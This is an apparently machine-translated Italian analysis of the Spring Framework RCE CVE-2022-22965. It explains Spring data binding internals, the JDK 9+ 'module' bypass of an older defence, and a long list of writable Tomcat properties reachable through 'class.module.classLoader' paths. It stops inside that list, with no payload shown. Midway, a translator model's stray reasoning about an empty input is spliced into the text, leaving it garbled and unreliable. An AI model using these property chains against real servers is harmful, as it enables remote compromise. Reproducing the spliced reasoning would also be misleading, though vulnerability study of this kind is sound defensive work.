
Analisi didattica e proof-of-concept exploit per CVE-2022-22965, una vulnerabilità di esecuzione remota di codice in Spring MVC/WebFlux tramite data binding su JDK 9+ con distribuzione WAR su Tomcat.
Recentemente, Spring ha rilasciato una vulnerabilità CVE di alto livello. Le informazioni sulla CVE indicano: "Un'applicazione Spring MVC o Spring WebFlux in esecuzione su JDK 9+ può essere vulnerabile a esecuzione di codice remoto (RCE) tramite data binding. Lo sfruttamento specifico richiede che l'applicazione venga eseguita su Tomcat come distribuzione WAR. Se l'applicazione viene distribuita come eseguibile JAR di Spring Boot, cioè il default, non è vulnerabile allo sfruttamento. Tuttavia, la natura della vulnerabilità è più generale e potrebbero esserci altri modi per sfruttarla." Questa analisi apprende il principio della vulnerabilità riproducendo la CVE.
Prima di esaminare il principio di binding dei parametri di Spring MVC, diamo un'occhiata ad alcune API relative ai Java Bean.
get/is<XXXX>() o set<XXXX>(<PropertyType>).Dichiarazione di una classe Java Bean come segue:```java public class User { private String name;
public User() {
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return this.name;
}
public int getAge() {
return 18;
}
}
Usa il seguente codice di test per vedere le informazioni ottenute da Introspector.getBeanInfo:```java
@Test
public void testIntrospector() throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
}
// for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
// System.out.println("Method: " + md.getName());
// }
}
[No content provided to translate.]```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String
Oltre a 'age' e quello previsti, c'è anche un attributo 'class', il nome della classe è Class, e se si continua a chiamare Introspector.getBeanInfo(Class.class) si possono ottenere ulteriori informazioni come classLoader, ecc.:```text jdk11:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
Inoltre, confrontiamo le differenze delle informazioni ottenute da Introspector.getBeanInfo(Class.class) in diverse versioni di JDK: sopra c'è l'output di jdk-11, sotto quello di JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters
" wait, the user's message shows:
INPUT:
It appears there is only a newline and then a carriage return (
). That might be empty content. The rules say translate only natural language text, and preserve all markdown. If the input is empty, then output should be empty as well.
But let me double-check the user's message. After "INPUT:" there is a line with just a backtick? Actually the formatting is:
INPUT:
That is a backtick block. Inside: a blank line, then a carriage return character. So likely the chunk is empty or just a newline. Since we must preserve structure exactly, we output exactly the same: a blank line and then a newline? But the instruction says "Return ONLY the translated text. No preamble...". So I will output exactly the same as input: a blank line and then the carriage return? However in textual response, a carriage return is not typical. The input includes a literal carriage return character (
). In plain text, we can preserve that as is? But that might cause issues. Better to output exactly the same characters. Since the input is empty line followed by carriage return, the output should be the same.
Given the rules: "Preserve ALL Markdown structure intact" and "Preserve exact formatting: whitespace, newlines". So I will output a blank line (a newline) and then a carriage return? But in markdown, a carriage return is often ignored. I think the safest is to output exactly the content as provided, which is a newline and a carriage return. However, the user's message shows a code block with triple backticks? Actually I see the formatting in the user message: they wrote \n\nINPUT:\n\n```\n\n\r\n``` \n\n. So the chunk is delimited by backticks, containing a blank line and then a carriage return. Since we are to return the translated text only, we should output the same content without the backticks. So output a blank line followed by a carriage return character. In plain text, that would be a blank line and then a line with a carriage return? But typically a carriage return is not visible. I think it's safe to output just a blank line (newline) because the carriage return is likely a formatting artifact. However, the instruction says "Preserve exact formatting: whitespace, newlines". The carriage return is a whitespace character. To be safe, I'll output a blank line (empty string followed by newline) and then the carriage return character. But in a text response, a carriage return may be interpreted as a newline. I'll output exactly: a newline character (empty line) and then a carriage return character. I'll represent it as:
[empty line]
[carriage return]
But in the output, I cannot type a literal carriage return easily. However, the system expects text. I'll output a blank line (by typing a newline) and then a carriage return character using its unicode representation? No, that would change the literal. Better to output exactly what was in the input: a blank line and then a carriage return. Since the carriage return is a control character, it might be stripped by the system. The safest is to output a blank line. The user's input chunk is likely empty, so translation is empty. I'll output nothing? But the rules say preserve structure. If the input had a blank line and a carriage return, output same. I'll output a blank line.
Given the ambiguity, I'll output a blank line (i.e., just a newline). That seems reasonable.
Thus final response: just a newline? Actually I need to ensure no preamble. So I'll just output a newline character.```text
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
Rispetto a JDK8, JDK9 ha due attributi aggiuntivi: module e packageName, mentre JDK11, oltre a module e packageName, ha altri due attributi: nestHost e nestMembers.
Il processo di binding dei parametri nei framework web, in parole povere, è che il framework converte i parametri in forma di stringa nelle richieste HTTP nei tipi effettivamente necessari al server. Prendendo spring MVC come esempio: definire due classi Bean User e UserInfo:```java public class UserInfo { public User getUser() { return user; }
public void setUser(User user) {
this.user = user;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private User user;
private String password;
@Override
public String toString() {
return "UserInfo{" +
"user=" + user +
", password='" + password + '\'' +
'}';
}
}
Utilizzare il seguente controller come test:```java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
public DemoController() {
}
@RequestMapping({"/test"})
public String test(User u) {
System.out.println("access!");
return "home";
}
@RequestMapping({"/get-user-info"})
public String getUserInfo(UserInfo userInfo) {
System.out.println("Name:" + userInfo.getUser().getName());
System.out.println("Age:" + userInfo.getUser().getAge());
System.out.println("password:" + userInfo.getPassword());
System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
return userInfo.toString();
}
}
Quando visitiamo /get-user-info?password=password&user.name=enokiy, il framework istanzia automaticamente la classe UserInfo e associa i valori corrispondenti alle proprietà corrispondenti (tramite user.name è possibile accedere annidato alla proprietà userInfo.user.name):

Esaminiamo tramite debug l'intero flusso del data binding in Spring MVC:
A partire dal metodo doDispatch di org.springframework.web.servlet.DispatcherServlet, nel metodo doDispatch, prima si ottiene mappedHandler in base alla richiesta, poi si ottiene HandlerAdapter, e chiamando il metodo handle() di HandlerAdapter si elabora la richiesta specifica e si restituisce ModelAndView:

Qui, HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()), l'ha ottenuto è in realtà la classe org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter. Dopo aver eseguito il metodo handle() di HandlerAdapter, si entra nel metodo invokeHandleMethod di RequestMappingHandlerAdapter:

Quindi nel metodo invokeHandleMethod, viene creata un'istanza di ServletInvocableHandlerMethod chiamata invocableMethod in base a handlerMethod, vengono impostati dataBinderFactory, modelFactory e argumentResolvers corrispondenti, quindi si passa ai metodi invokeAndHandle → invokeForRequest → getMethodArgumentValues di invocableMethod per risolvere tramite diversi risolutori di argomenti:

I risolutori di argomenti qui sono i seguenti:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
Allora come sapere quale specifico risolutore di parametri utilizzare per risolvere i parametri nella richiesta corrente? In springmvc, la decisione si basa sulle informazioni delle annotazioni dei parametri (la logica del codice è nel metodo `HandlerMethodArgumentResolverComposite#getArgumentResolver`). Ad esempio, se si usano le annotazioni `@RequestMapping` e `@modelAttribute`, viene utilizzato `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`; `@RequestParam` corrisponde a `RequestParamMethodArgumentResolver`, ecc.
Nell'esempio corrente, l'annotazione utilizzata è `@RequestMapping`, quindi proseguiamo guardando il processo di binding dei parametri nella classe `ServletModelAttributeMethodProcessor`:```java
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
String name = ModelFactory.getNameForParameter(parameter);
ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
if (ann != null) {
mavContainer.setBinding(name, ann.binding());
}
Object attribute = null;
BindingResult bindingResult = null;
if (mavContainer.containsAttribute(name)) {
attribute = mavContainer.getModel().get(name);
}
else {
// Create attribute instance
try {
attribute = createAttribute(name, parameter, binderFactory, webRequest);
}
catch (BindException ex) {
if (isBindExceptionRequired(parameter)) {
// No BindingResult parameter -> fail with BindException
throw ex;
}
// Otherwise, expose null/empty value and associated BindingResult
if (parameter.getParameterType() == Optional.class) {
attribute = Optional.empty();
}
bindingResult = ex.getBindingResult();
}
}
if (bindingResult == null) {
// Bean property binding and validation;
// skipped in case of binding failure on construction.
WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
if (binder.getTarget() != null) {
if (!mavContainer.isBindingDisabled(name)) {
bindRequestParameters(binder, webRequest);
}
validateIfApplicable(binder, parameter);
if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
throw new BindException(binder.getBindingResult());
}
}
// Value type adaptation, also covering java.util.Optional
if (!parameter.getParameterType().isInstance(attribute)) {
attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
}
bindingResult = binder.getBindingResult();
}
// Add resolved attribute and BindingResult at the end of the model
Map<String, Object> bindingResultModel = bindingResult.getModel();
mavContainer.removeAttributes(bindingResultModel);
mavContainer.addAllAttributes(bindingResultModel);
return attribute;
}
Secondo il parametro della richiesta, si ottiene il nome del parametro nel model. Innanzitutto si verifica se il nome del parametro è presente in ModelAndViewContainer; se sì, si recupera direttamente l'attributo da ModelAndViewContainer, altrimenti si passa al metodo ServletModelAttributeMethodProcessor#createAttribute per creare l'attributo del model:
ServletModelAttributeMethodProcessor#createAttribute:
Innanzitutto, all'interno della classe corrente, si verifica se l'URI e i parametri della richiesta contengono il nome dell'attributo (metodo getRequestValueForAttribute); se sì, viene restituito il valore, altrimenti si passa al metodo super.createAttribute:

binderFactory.createBinder: crea un WebRequestDataBinder
bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters --> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind --> DataBinder#doBind --> DataBinder#applyPropertyValues --> DataBinder#getPropertyAccessor().setPropertyValues:



Nel metodo DataBinder#doBind sono presenti alcuni controlli su allowFields e requiredFields; nella versione di test corrente sono vuoti per impostazione predefinita:

In AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid), viene richiamato in ciclo il metodo AbstractPropertyAccessor#setPropertyValue per associare il valore di ogni parametro della richiesta. Durante l'associazione, se si scopre che il nome del parametro contiene un punto (.), è necessario chiamare ricorsivamente getNestedPropertyAccessor per associare gli attributi dopo il punto:

Il processo di recupero ricorsivo dei valori degli attributi entra nel seguente flusso di elaborazione dei dati:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults
Mentre in `getLocalPropertyHandler`, viene chiamato il metodo `getCachedIntrospectionResults` per cercare in `cachedIntrospectionResults` se esiste la proprietà corrente. Oltre alle proprietà della richiesta corrente, `cachedIntrospectionResults` contiene anche una proprietà di classe predefinita chiamata `class`:

Come menzionato in precedenza riguardo al meccanismo di introspezione, quando si ottiene `BeanInfo`, se la classe `BeanInfo` del Java Bean è già stata sottoposta a introspezione, viene recuperata dalla cache di `BeanInfo`. Quindi il ruolo di `cachedIntrospectionResults` dovrebbe essere quello di implementare questa caratteristica:

A questo punto, riassumiamo il processo di binding dei parametri in Spring MVC:
1. Durante l'inizializzazione di Spring MVC, la classe `RequestMappingHandlerAdapter` aggiunge alcuni risolutori di parametri predefiniti ad `argumentResolvers`. Quando Spring MVC riceve una richiesta, entra in `DispatcherServlet.doDispatch`. Nel metodo `doDispatch`, si ottiene prima il `mappedHandler` in base alla richiesta, poi si ottiene il `HandlerAdapter`. Attraverso la chiamata al metodo `handle()` del `HandlerAdapter`, la richiesta viene elaborata specificamente e viene restituito `ModelAndView`. `ViewResolver` analizza e restituisce la `View`, mentre il front-end la renderizza definitivamente.

2. Durante l'elaborazione specifica della richiesta nel metodo `handle()` del `HandlerAdapter`, viene generata un'istanza di `ServletInvocableHandlerMethod` chiamata `invocableMethod` basata su `handlerMethod`. Vengono impostati `dataBinderFactory`, `modelFactory` e `argumentResolvers` appropriati. Successivamente, si entra nel metodo `invokeAndHandle` di `invocableMethod`, poi `invokeForRequest`, e infine `getMethodArgumentValues`, dove avviene l'analisi tramite diversi risolutori di parametri. I risolutori di parametri sono determinati in base alle informazioni delle annotazioni dei parametri.
3. Il risolutore di parametri esegue l'analisi, generando prima un'istanza (proprietà) del nome del parametro del metodo handler corrispondente alla richiesta, quindi tramite `DataBinder` entra in `BeanWrapperImpl` per assegnare le proprietà del bean. `BeanWrapperImpl` implementa concretamente i metodi per creare, detenere e modificare le proprietà del bean.
Il metodo `setPropertyValue` può iniettare il valore del parametro nella proprietà corrispondente del bean specificato (incluse list, map, ecc.), e può anche impostare valori di proprietà in modo annidato:

Sia il data binding di Spring MVC (binding di vari parametri ai parametri dei metodi handler annotati con `@RequestMapping`) che `BeanFactory` (gestione dell'annotazione `@Autowired`) utilizzano l'interfaccia `BeanWrapper`.
### Sovrascrittura di variabili
Poiché il metodo `setPropertyValue` menzionato sopra, durante l'impostazione annidata delle proprietà, cerca in `cachedIntrospectionResults`, e in `cachedIntrospectionResults` oltre ai parametri della richiesta è presente anche una proprietà `class`, è possibile accedere alle proprietà di `ClassLoader` tramite `class.classLoader.xx` nella richiesta. Questa è la vulnerabilità CVE-2010-1622 nelle prime versioni di Spring. La CVE-2022-22965 è un bypass del meccanismo di protezione di questa vulnerabilità:
La struttura di `cachedIntrospectionResults` è la seguente:

1. Le informazioni sulle proprietà di `BeanClass` vengono estratte tramite `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`. Poiché il metodo `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` non specifica `stopClass`, quando la proprietà non viene trovata nella classe corrente, si risale alla classe padre.
2. Le proprietà `ClassLoader` e `protectionDomain` della classe `Class` vengono disabilitate. Questa è la misura di difesa per CVE-2010-1622.
All'inizio dell'articolo è stato confrontato che i valori delle proprietà ottenuti tramite `Introspector.getBeanInfo(xxx)` differiscono in diverse versioni di JDK. Nelle versioni JDK 9 e successive, sono state aggiunte due proprietà: `module` e `packageName`. Sotto la proprietà `module` esiste la proprietà `classLoader`, quindi è possibile utilizzare la proprietà `module` per accedere a `ClassLoader`, bypassando così la difesa di CVE-2010-1622 per eseguire la sovrascrittura di variabili:


### Sfruttamento della vulnerabilità
Dopo aver compreso che la causa principale di questa vulnerabilità è la sovrascrittura di variabili, esaminiamo i problemi nel processo di sfruttamento:
1. Quali variabili possono essere sovrascritte?
2. Quali sono gli effetti delle variabili sovrascritte?
Ora sappiamo che è possibile eseguire operazioni di sovrascrittura di variabili tramite `class.module.classLoader`. Quali variabili specifiche possono essere sovrascritte? In diversi scenari di distribuzione di Spring MVC, il `classLoader` è diverso, quindi i metodi di sfruttamento non sono universali.
| Forma di distribuzione | classLoader|
| ---- | ---- |
| SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
| tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
| jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
In una distribuzione war di Tomcat (ambiente di test corrente: "apache-tomcat-8.5.8" + "jdk-11.0.1"), le proprietà leggibili e scrivibili accessibili sotto `class.module` sono le seguenti (non esaustive, non sono state raccolte proprietà di tipo List/Map/Set):
<details>
<summary>
Clicca per vedere le proprietà leggibili e scrivibili accessibili sotto class.module
</summary>```text
class.module
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.clearReferencesLogFactoryRelease
class.module.classLoader.clearReferencesRmiTargets
class.module.classLoader.clearReferencesStopThreads
class.module.classLoader.clearReferencesStopTimerThreads
class.module.classLoader.delegate
class.module.classLoader.resources
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources
class.module.classLoader.resources.allowLinking
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.cachingAllowed
class.module.classLoader.resources.context
class.module.classLoader.resources.domain
class.module.classLoader.resources.trackLockedFiles
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.context
class.module.classLoader.resources.context.addWebinfClassesResources
class.module.classLoader.resources.context.allowCasualMultipartParsing
class.module.classLoader.resources.context.altDDName
class.module.classLoader.resources.context.antiResourceLocking
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.charsetMapperClass
class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources.context.clearReferencesRmiTargets
class.module.classLoader.resources.context.clearReferencesStopThreads
class.module.classLoader.resources.context.clearReferencesStopTimerThreads
class.module.classLoader.resources.context.cluster
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.configured
class.module.classLoader.resources.context.containerSciFilter
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.cookies
class.module.classLoader.resources.context.copyXML
class.module.classLoader.resources.context.crossContext
class.module.classLoader.resources.context.defaultContextXml
class.module.classLoader.resources.context.defaultWebXml
class.module.classLoader.resources.context.delegate
class.module.classLoader.resources.context.denyUncoveredHttpMethods
class.module.classLoader.resources.context.dispatchersUseEncodedPaths
class.module.classLoader.resources.context.displayName
class.module.classLoader.resources.context.distributable
class.module.classLoader.resources.context.docBase
class.module.classLoader.resources.context.domain
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.effectiveMinorVersion
class.module.classLoader.resources.context.failCtxIfServletStartFails
class.module.classLoader.resources.context.fireRequestListenersOnFoards
class.module.classLoader.resources.context.ignoreAnnotations
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.j2EEApplication
class.module.classLoader.resources.context.j2EEServer
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.javaVMs
class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
class.module.classLoader.resources.context.jspConfigDescriptor
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.logEffectiveWebXml
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.module.classLoader.resources.context.name
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.originalDocBase
class.module.classLoader.resources.context.override
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parentClassLoader
class.module.classLoader.resources.context.path
class.module.classLoader.resources.context.preemptiveAuthentication
class.module.classLoader.resources.context.privileged
class.module.classLoader.resources.context.publicId
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.reloadable
class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
class.module.classLoader.resources.context.resourceOnlyServlets
class.module.classLoader.resources.context.resources
class.module.classLoader.resources.context.sendRedirectBody
class.module.classLoader.resources.context.server
class.module.classLoader.resources.context.sessionCookieDomain
class.module.classLoader.resources.context.sessionCookieName
class.module.classLoader.resources.context.sessionCookiePath
class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startChildren
class.module.classLoader.resources.context.startStopThreads
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.swallowAbortedUploads
class.module.classLoader.resources.context.swallowOutput
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.tldScanTime
class.module.classLoader.resources.context.tldValidation
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.unpackWAR
class.module.classLoader.resources.context.useHttpOnly
class.module.classLoader.resources.context.useNaming
class.module.classLoader.resources.context.useRelativeRedirects
class.module.classLoader.resources.context.validateClientProvidedNewSessionId
class.module.classLoader.resources.context.webappVersion
class.module.classLoader.resources.context.workDir
class.module.classLoader.resources.context.wrapperClass
class.module.classLoader.resources.context.xmlBlockExternal
class.module.classLoader.resources.context.xmlNamespaceAware
class.module.classLoader.resources.context.xmlValidation
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.authenticator.alwaysUseSession
class.module.classLoader.resources.context.authenticator.asyncSupported
class.module.classLoader.resources.context.authenticator.cache
class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
class.module.classLoader.resources.context.authenticator.container
class.module.classLoader.resources.context.authenticator.disableProxyCaching
class.module.classLoader.resources.context.authenticator.domain
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.securePagesWithPragma
class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
class.module.classLoader.resources.context.authenticator.secureRandomClass
class.module.classLoader.resources.context.authenticator.secureRandomProvider
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.scanAllDirectories
class.module.classLoader.resources.context.jarScanner.scanAllFiles
class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
class.module.classLoader.resources.context.jarScanner.scanClassPath
class.module.classLoader.resources.context.jarScanner.scanManifest
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.loader.context
class.module.classLoader.resources.context.loader.delegate
class.module.classLoader.resources.context.loader.domain
class.module.classLoader.resources.context.loader.loaderClass
class.module.classLoader.resources.context.loader.reloadable
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.loginConfig.authMethod
class.module.classLoader.resources.context.loginConfig.errorPage
class.module.classLoader.resources.context.loginConfig.loginPage
class.module.classLoader.resources.context.loginConfig.realmName
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.manager.context
class.module.classLoader.resources.context.manager.domain
class.module.classLoader.resources.context.manager.duplicates
class.module.classLoader.resources.context.manager.expiredSessions
class.module.classLoader.resources.context.manager.maxActive
class.module.classLoader.resources.context.manager.maxActiveSessions
class.module.classLoader.resources.context.manager.pathname
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.processingTime
class.module.classLoader.resources.context.manager.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.secureRandomClass
class.module.classLoader.resources.context.manager.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
class.module.classLoader.resources.context.manager.sessionCounter
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionMaxAliveTime
class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
class.module.classLoader.resources.context.namingContextListener.name
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.namingResources.container
class.module.classLoader.resources.context.namingResources.domain
class.module.classLoader.resources.context.namingResources.transaction
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.backgroundProcessorDelay
class.module.classLoader.resources.context.parent.cluster
class.module.classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.createDirs
class.module.classLoader.resources.context.parent.deployIgnore
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
class.module.classLoader.resources.context.parent.name
class.module.classLoader.resources.context.parent.parent
class.module.classLoader.resources.context.parent.parentClassLoader
class.module.classLoader.resources.context.parent.realm
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.pipeline.basic
class.module.classLoader.resources.context.pipeline.container
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.realm.allRolesMode
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.container
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.domain
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.realmPath
class.module.classLoader.resources.context.realm.stripRealmForGss
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.realm.validate
class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.next.asyncSupported
class.module.classLoader.resources.context.authenticator.next.container
class.module.classLoader.resources.context.authenticator.next.domain
class.module.classLoader.resources.context.authenticator.next.next
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
